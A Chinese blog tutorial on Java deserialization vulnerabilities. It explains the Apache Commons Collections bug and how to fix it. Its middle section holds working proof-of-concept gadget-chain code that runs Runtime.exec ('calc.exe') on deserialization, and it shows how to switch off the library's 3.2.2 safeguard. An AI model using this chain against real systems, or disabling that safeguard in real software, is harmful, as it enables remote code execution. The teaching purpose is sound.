热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【序列化】UNSAFE_DESERIALIZATION不安全的反序列化和反序列化漏洞

文章目录UnsafeDeserialization反序列化漏洞背景认识Java序列化与反序列化用途应用场景Java中的API实现:序列化基础类型参数序列化对象漏洞是怎么来的呢?解决

文章目录

    • Unsafe Deserialization
    • 反序列化漏洞
      • 背景
      • 认识Java序列化与反序列化
        • 用途
        • 应用场景
        • Java中的API实现:
          • 序列化基础类型参数
          • 序列化对象
      • 漏洞是怎么来的呢?
    • 解决方案

注意:本文例子都是在JDK1.8下跑的

Unsafe Deserialization

进行代码检查时,Coverity工具在进行json转换时,报Unsafe Deserialization错误,字面意思是不安全的反序列化,根本原因就是反序列化会有漏洞导致的。

《【序列化】UNSAFE_DESERIALIZATION 不安全的反序列化和反序列化漏洞》
看完下文反序列化漏洞的原理后,我们就知道该如何解决这个问题了。

反序列化漏洞

背景

2015年11月6日FoxGlove Security安全团队的@breenmachine 发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。而在将近10个月前, Gabriel Lawrence 和Chris Frohoff 就已经在AppSecCali上的一个报告里提到了这个漏洞利用思路。

目前,针对这个”2015年最被低估”的漏洞,各大受影响的Java应用厂商陆续发布了修复后的版本,Apache Commons Collections项目也对存在漏洞的类库进行了一定的安全处理。但是网络上仍有大量网站受此漏洞影响。

序列化就是把对象的状态信息转换为字节序列(即可以存储或传输的形式)过程
  反序列化即逆过程,由字节流还原成对象
  注: 字节序是指多字节数据在计算机内存中存储或者网络传输时各字节的存储顺序。

认识Java序列化与反序列化

用途

  • 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
  • 在网络上传送对象的字节序列。

应用场景

  • 一般来说,服务器启动后,就不会再关闭了,但是如果逼不得已需要重启,而用户会话还在进行相应的操作,这时就需要使用序列化将session信息保存起来放在硬盘,服务器重启后,又重新加载。这样就保证了用户信息不会丢失,实现永久化保存。

  • 在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。

    比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。

    例子: 淘宝每年都会有定时抢购的活动,很多用户会提前登录等待,长时间不进行操作,一致保存在内存中,而到达指定时刻,几十万用户并发访问,就可能会有几十万个session,内存可能吃不消。这时就需要进行对象的活化、钝化,让其在闲置的时候离开内存,将信息保存至硬盘,等要用的时候,就重新加载进内存。

Java中的API实现:

序列化基础类型参数

位置: Java.io.ObjectOutputStream   java.io.ObjectInputStream

序列化:  ObjectOutputStream类 –> writeObject()

注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中

按Java的标准约定是给文件一个.ser扩展名

反序列化: ObjectInputStream类 –> readObject()

注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

简单测试代码:

public class Java_Test{
public static void main(String args[]) throws Exception {
String obj = "ls "; //原始字符串,供写入文件用
// 将序列化对象写入文件object.txt中
FileOutputStream fos = new FileOutputStream("aa.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件object.txt中读取数据
FileInputStream fis = new FileInputStream("aa.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复对象obj
String obj2 = (String)ois.readObject();
System.out.println(obj2); //输出ls ,证明读取的就是当初写入的字符串对象
ois.close();
}
}

我们可以看到,先通过输入流创建一个文件,再调用ObjectOutputStream类的 writeObject方法把序列化的数据写入该文件;然后调用ObjectInputStream类的readObject方法反序列化数据并打印数据内容。

序列化对象

实现SerializableExternalizable接口的类的对象才能被序列化。

Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式 。
  
  对象序列化包括如下步骤:
  1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
  2) 通过对象输出流的writeObject()方法写对象。

对象反序列化的步骤如下:
  1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
  2) 通过对象输入流的readObject()方法读取对象。

我们来看个Serializable接口例子,采用默认的序列化方式:

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.text.MessageFormat;
class Person implements Serializable {
// 序列化ID
private static final long serialVersionUID = -5809782578272943999L;
private int age; //省略get,set方法
private String name; //省略get,set方法
private String sex; //省略get,set方法
}
public class SerializeDeserialize_readObject {
public static void main(String[] args) throws Exception {
SerializePerson();// 序列化Person对象
Person p = DeserializePerson();// 反序列Perons对象
System.out.println(MessageFormat.format("name={0},age={1},sex={2}", p.getName(),
p.getAge(), p.getSex()));
}
/** * 序列化Person对象 */
private static void SerializePerson() throws FileNotFoundException, IOException {
Person person = new Person();
person.setName("ssooking");
person.setAge(20);
person.setSex("男");
// ObjectOutputStream 对象输出流,将Person对象存储到Person.txt文件中,完成对Person对象的序列化操作
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("Person.txt")));
oo.writeObject(person);
System.out.println("Person对象序列化成功!");
oo.close();
}
/** * 反序列Perons对象 */
private static Person DeserializePerson() throws Exception, IOException {
FileInputStream fis = new FileInputStream("Person.txt");
ObjectInputStream ois = new ObjectInputStream(fis);
Person person = (Person) ois.readObject();
ois.close();
System.out.println("Person对象反序列化成功!");
return person;
}

漏洞是怎么来的呢?

我们既然已经知道了序列化与反序列化的过程,那么如果反序列化的时候,这些即将被反序列化的数据是我们特殊构造的呢!

如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

我们来看个例子,在windows上执行时会弹出计算器,作用是举例说明java调用本地的应用程序,模拟一种攻击效果,后续基于此例子,演示序列化时触发攻击:

引入commons-collections 3.2.2

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>

import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class MapTest {
public static void main(String[] args) {
Map map = new HashMap();
map.put("key", "value");
// 调用系统的计算器命令
String command = "calc.exe";
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, execArgs) };

Transformer transformer = new ChainedTransformer(transformers);
Map<String, Object> transformedMap = TransformedMap.decorate(map, null, transformer); //调用封装方法
for (Map.Entry<String, Object> entry : transformedMap.entrySet()) {
System.out.println(entry);
entry.setValue("anything"); //value值发生变化,触发Transformer
}
}
}

我们来分析上面代码的原理:

  • TransformedMap.java
    Apache Commons Collections包下的类,实现了Map接口(通过父接口间接实现),作用是封装一个普通的map,可以根据一定的规则,转换map内的对象。

    TransformedMap.decorate()方法,是个static方法,可以封装普通map,该方法有三个参数。

    • 第一个参数为待转化的Map对象

    • 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)

    • 第三个参数为Map对象内的value要经过的转化方法

      上面的例子中,我们只对value做了特殊处理,对key传参null

  • Transformer.java
    声明接口,实现类都具备把一个对象转化为另一个对象的功能

    • ConstantTransformer
      把一个对象转化为常量,并返回
    • InvokerTransformer.java
      InvokerTransformerTransformer的具体实现,该类通过反射,返回一个结果。transform()方法接收一个对象,然后对该对象调用进行invoke(反射),反射的目标方法正是构造函数的入参methodName(String类型)

    //构造函数,正好是反射需要用到的,入参为方法名称等
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
    }
    public Object transform(Object input) { //入参input
    if (input == null) {
    return null;
    }
    try {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes); //反射的目标是methodName
    return method.invoke(input, iArgs); //调用反射

    }

  • ChainedTransformer
    多个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。

先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令&#8221;&#8221;。依次调用关系为: Runtime &#8211;> getRuntime &#8211;> exec()

简单来说,上面代码的目的等价于下面的简写形式,只不过是为了模拟一种隐蔽的案例:

public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc.exe");

上例例子目的是通过map的setValue() 触发一种攻击效果,下面就考虑在序列化时,如果也会调用map的setValue()的话,那么也会触发攻击。

思考

目前的构造还需要依赖于调用Map中的setValue()触发 ,怎样才能在调用readObject()方法时直接触发执行呢?

答案:如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,我么就可以实现攻击目标。

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
class PersonBean implements Serializable {
private static final long serialVersionUID = 1L;
private Map<String, Object> map; //有个map成员
private void readObject(ObjectInputStream is) throws IOException, ClassNotFoundException { //自定义反序列化实现
Map<String, Object> map = (Map) is.readObject();
for (Map.Entry<String, Object> entry : map.entrySet()) {
if ("hello".equals(entry.getValue())) {
entry.setValue(entry.getValue() + " world"); //触发setValue,拼接字符串
}
}
}
public Map<String, Object> getMap() {
return map;
}
public void setMap(Map<String, Object> map) {
this.map = map;
}
}
public class MapTest2 {
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
String command = "calc.exe";
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, execArgs) };
Transformer transformedChain = new ChainedTransformer(transformers);
Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
BeforeTransformerMap.put("hello", "hello"); //原始map
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null,
transformedChain); //经过transformedChain处理的map
PersonBean person = new PersonBean();
person.setMap(AfterTransformerMap); //构建person对象
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(person); //序列化
out.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
ois.readObject(); //反序列化
ois.close();
}
}

例子中只重写了readObject(),一般都是成对重写的,因为涉及到写入内容和读取内容的顺序,这个例子只是演示,并且不设置读取顺序。详细约束可以参考其他文章

PersonBean 是我们构造的,并且自定义了 readObject(),并且触发了危险调用的代码。如果我们的应用程序中存在类似 PersonBean 的话,那么说明就有风险。不幸的是,确实存在,AnnotationInvocationHandler类就是:

//位于rt.jar包中,这个是1.6版本反编译的
class AnnotationInvocationHandler implements InvocationHandler, Serializable { //继承了Serializable
private void readObject(ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException {
for (Map.Entry<String, Object> entry : this.memberValues.entrySet()) {
String str = (String)entry.getKey();
Class clazz = map.get(str);
if (clazz != null) {
Object object = entry.getValue();
if (!clazz.isInstance(object) && !(object instanceof ExceptionProxy))
entry.setValue((new AnnotationTypeMismatchExceptionProxy(object.getClass() + "[" + object + "]")).setMember(annotationType.members().get(str))); //entry.setValue重新赋值
}

注意:AnnotationInvocationHandler 的源码是1.6的,是为了说明setValue(),而1.8版本该方法重构了,和之前版本大不一样,找不到setValuele 。并且按照原文的例子,可以用AnnotationInvocationHandler 触发业务场景的,但是我没有成功。

后续:经过学习,得知Collections包需要在3.1版本之前,可以复现AnnotationInvocationHandler触发计算器的例子,3.1版本是存在攻击漏洞的版本,后续版本已经修复或加以保护。

注意:由于Apache Commons Collections在 3.2.2版本进行了修复,因此需要设置:

System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");

否则会报如下错误 org.apache.commons.collections.enableUnsafeSerialization

Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)

原因是 org.apache.commons.collections.functors.FunctorUtils 类中新增加检查属性配置代码如下:

private void writeObject(ObjectOutputStream os) throws IOException {
FunctorUtils.checkUnsafeSerialization(CloneTransformer.class);
os.defaultWriteObject();
}
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
FunctorUtils.checkUnsafeSerialization(CloneTransformer.class);
is.defaultReadObject();
}

解决方案

1.更新Apache Commons Collections库
  Apache Commons Collections在 3.2.2版本开始做了一定的安全处理,新版本的修复方案对相关反射调用进行了限制,对这些不安全的Java类的序列化支持增加了开关。

注意仅仅增加检查开关,并不是真正意义上的解决,如果关闭开关,仍然会有风险。

2.NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller
  lib地址:https://github.com/ikkisoft/SerialKiller
  下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller
  之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。


推荐阅读
  • 本文介绍了使用Spark实现低配版高斯朴素贝叶斯模型的原因和原理。随着数据量的增大,单机上运行高斯朴素贝叶斯模型会变得很慢,因此考虑使用Spark来加速运行。然而,Spark的MLlib并没有实现高斯朴素贝叶斯模型,因此需要自己动手实现。文章还介绍了朴素贝叶斯的原理和公式,并对具有多个特征和类别的模型进行了讨论。最后,作者总结了实现低配版高斯朴素贝叶斯模型的步骤。 ... [详细]
  • YOLOv7基于自己的数据集从零构建模型完整训练、推理计算超详细教程
    本文介绍了关于人工智能、神经网络和深度学习的知识点,并提供了YOLOv7基于自己的数据集从零构建模型完整训练、推理计算的详细教程。文章还提到了郑州最低生活保障的话题。对于从事目标检测任务的人来说,YOLO是一个熟悉的模型。文章还提到了yolov4和yolov6的相关内容,以及选择模型的优化思路。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 本文介绍了Java工具类库Hutool,该工具包封装了对文件、流、加密解密、转码、正则、线程、XML等JDK方法的封装,并提供了各种Util工具类。同时,还介绍了Hutool的组件,包括动态代理、布隆过滤、缓存、定时任务等功能。该工具包可以简化Java代码,提高开发效率。 ... [详细]
  • 本文介绍了Hyperledger Fabric外部链码构建与运行的相关知识,包括在Hyperledger Fabric 2.0版本之前链码构建和运行的困难性,外部构建模式的实现原理以及外部构建和运行API的使用方法。通过本文的介绍,读者可以了解到如何利用外部构建和运行的方式来实现链码的构建和运行,并且不再受限于特定的语言和部署环境。 ... [详细]
  • XML介绍与使用的概述及标签规则
    本文介绍了XML的基本概念和用途,包括XML的可扩展性和标签的自定义特性。同时还详细解释了XML标签的规则,包括标签的尖括号和合法标识符的组成,标签必须成对出现的原则以及特殊标签的使用方法。通过本文的阅读,读者可以对XML的基本知识有一个全面的了解。 ... [详细]
  • 不同优化算法的比较分析及实验验证
    本文介绍了神经网络优化中常用的优化方法,包括学习率调整和梯度估计修正,并通过实验验证了不同优化算法的效果。实验结果表明,Adam算法在综合考虑学习率调整和梯度估计修正方面表现较好。该研究对于优化神经网络的训练过程具有指导意义。 ... [详细]
  • Android系统移植与调试之如何修改Android设备状态条上音量加减键在横竖屏切换的时候的显示于隐藏
    本文介绍了如何修改Android设备状态条上音量加减键在横竖屏切换时的显示与隐藏。通过修改系统文件system_bar.xml实现了该功能,并分享了解决思路和经验。 ... [详细]
  • 本文讨论了在openwrt-17.01版本中,mt7628设备上初始化启动时eth0的mac地址总是随机生成的问题。每次随机生成的eth0的mac地址都会写到/sys/class/net/eth0/address目录下,而openwrt-17.01原版的SDK会根据随机生成的eth0的mac地址再生成eth0.1、eth0.2等,生成后的mac地址会保存在/etc/config/network下。 ... [详细]
  • python限制递归次数(python最大公约数递归)
    本文目录一览:1、python为什么要进行递归限制 ... [详细]
  • 本文介绍了如何使用JSONObiect和Gson相关方法实现json数据与kotlin对象的相互转换。首先解释了JSON的概念和数据格式,然后详细介绍了相关API,包括JSONObject和Gson的使用方法。接着讲解了如何将json格式的字符串转换为kotlin对象或List,以及如何将kotlin对象转换为json字符串。最后提到了使用Map封装json对象的特殊情况。文章还对JSON和XML进行了比较,指出了JSON的优势和缺点。 ... [详细]
  • 图像因存在错误而无法显示 ... [详细]
  • 一、Hadoop来历Hadoop的思想来源于Google在做搜索引擎的时候出现一个很大的问题就是这么多网页我如何才能以最快的速度来搜索到,由于这个问题Google发明 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • Java容器中的compareto方法排序原理解析
    本文从源码解析Java容器中的compareto方法的排序原理,讲解了在使用数组存储数据时的限制以及存储效率的问题。同时提到了Redis的五大数据结构和list、set等知识点,回忆了作者大学时代的Java学习经历。文章以作者做的思维导图作为目录,展示了整个讲解过程。 ... [详细]
author-avatar
翁向军_943
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有